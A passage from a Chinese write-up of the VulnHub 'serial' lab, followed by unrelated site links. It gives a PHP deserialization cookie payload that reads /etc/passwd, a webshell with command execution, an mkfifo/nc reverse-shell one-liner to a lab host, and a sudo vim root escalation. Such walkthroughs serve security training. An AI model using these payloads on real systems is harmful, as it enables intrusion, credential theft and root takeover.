当前位置: 首页 > news >正文

serial靶场

项目地址

https://download.vulnhub.com/serial/serial.zip

实验过程

将下载好的靶机导入到VMware中,设置网络模式为NAT模式,然后开启靶机虚拟机

使用C段扫描,获取靶机IP地址

arp-scan -l

扫描一下端口

nmap -sV -p- 192.168.48.149

查看一下80端口和22端口

目录扫描一下

dirb http://192.168.48.149

发现这个目录下有文件下载一下

index.php文件中包含user.class.php文件且对cookie中的user参数进行了序列化和base64编码

user.class.php文件包含log.class.php文件且定义了Welcome和User两个类并调用了log.class.php文件中的handler函数

log.class.php定义了Log类和成员变量type_log且handler函数对变量进行了文件包含和输出

没有得到太多有用信息

访问原网站,用Burpsuite抓包查看cookie

由刚才三个文件可知这是base64编码

进行解码

构造payload,尝试读取passwd文件

我这边用了一个小Pwww目录下的1.php(我当时用在线编码不行出不来)

///可以写在任意目录下,要ip+地址/1.php

<?phpclass Log {private $type_log = "/etc/passwd";}class User {private $name = "admin";private $wel;function __construct() {$this->wel = new Log();}
}
$obj = new User();
echo base64_encode(serialize($obj));

发现除了root还有sk4可以登陆(/bin/basn)

想办法获取shell

在小p下写了一个1.txt木马

将1php内容修改为ip/1.txt

获得编码后的代码

更换抓包后的cooker得到200

输入?cmd=id

在Kali开启一个监听

反弹shell

rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.48.130+8888+>/tmp/f

没有反应但是反弹成功了

提权

查看系统版本内核

在根目录发现一个txt.bak文件

查看一下

获得了sk4的登录账号和密码因为之前扫出来有22端口开放

使用远程连接

登陆成功

尝试进入root模式

失败了

试试sudo vim 进入命令模式输入!bash

提权成功

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • QT学习从零开始,开发一个串口调试助手
  • 数学建模学习笔记
  • f({1, 3})与f(C c)和`f(const C c)
  • 海康gige工业相机无驱动取像突破(c#实现,版本更新,你也可以移植到linux下去用)
  • 从零开始的CPP(36)——操作Excel
  • JS【详解】对象的内部属性 vs 内部方法
  • 【Android Studio】修改项目名称can‘t rename root module解决办法
  • 【Python随笔】比PyQt5更先进的pyside6安装和使用方法
  • 【使用Python和ADB过滤与处理Android包名】
  • SAAMDSSA-系统架构师(五十一)
  • Go开发后端和Vue3开发前端的前后端分离框架中自己手戳一个OA流程审批、工作流引擎给新时代一个漂亮便捷的工作流引擎
  • 验证码案例
  • UE中的运行时Mesh - 学习笔记
  • day16
  • Nginx系列-Nginx Location匹配规则
  • php的引用
  • Angular 4.x 动态创建组件
  • Bytom交易说明(账户管理模式)
  • exif信息对照
  • FineReport中如何实现自动滚屏效果
  • Netty 4.1 源代码学习:线程模型
  • Octave 入门
  • Redux 中间件分析
  • springboot_database项目介绍
  • TiDB 源码阅读系列文章(十)Chunk 和执行框架简介
  • 百度地图API标注+时间轴组件
  • 人脸识别最新开发经验demo
  • 日剧·日综资源集合(建议收藏)
  • 如何设计一个比特币钱包服务
  • 思否第一天
  • 通过几道题目学习二叉搜索树
  • 微信小程序--------语音识别(前端自己也能玩)
  • 线上 python http server profile 实践
  • [地铁译]使用SSD缓存应用数据——Moneta项目: 低成本优化的下一代EVCache ...
  • 曾刷新两项世界纪录,腾讯优图人脸检测算法 DSFD 正式开源 ...
  • ​iOS安全加固方法及实现
  • ​LeetCode解法汇总2808. 使循环数组所有元素相等的最少秒数
  • #pragma once与条件编译
  • (175)FPGA门控时钟技术
  • (2024,Flag-DiT,文本引导的多模态生成,SR,统一的标记化,RoPE、RMSNorm 和流匹配)Lumina-T2X
  • (3)选择元素——(17)练习(Exercises)
  • (delphi11最新学习资料) Object Pascal 学习笔记---第5章第5节(delphi中的指针)
  • (Redis使用系列) SpringBoot 中对应2.0.x版本的Redis配置 一
  • (附源码)ssm本科教学合格评估管理系统 毕业设计 180916
  • (附源码)计算机毕业设计ssm高校《大学语文》课程作业在线管理系统
  • (九)信息融合方式简介
  • (论文阅读笔记)Network planning with deep reinforcement learning
  • (一)Dubbo快速入门、介绍、使用
  • (转)项目管理杂谈-我所期望的新人
  • . Flume面试题
  • ./configure,make,make install的作用
  • .net core使用EPPlus设置Excel的页眉和页脚
  • .net framework 4.0中如何 输出 form 的name属性。
  • .NET Remoting学习笔记(三)信道
  • .net 提取注释生成API文档 帮助文档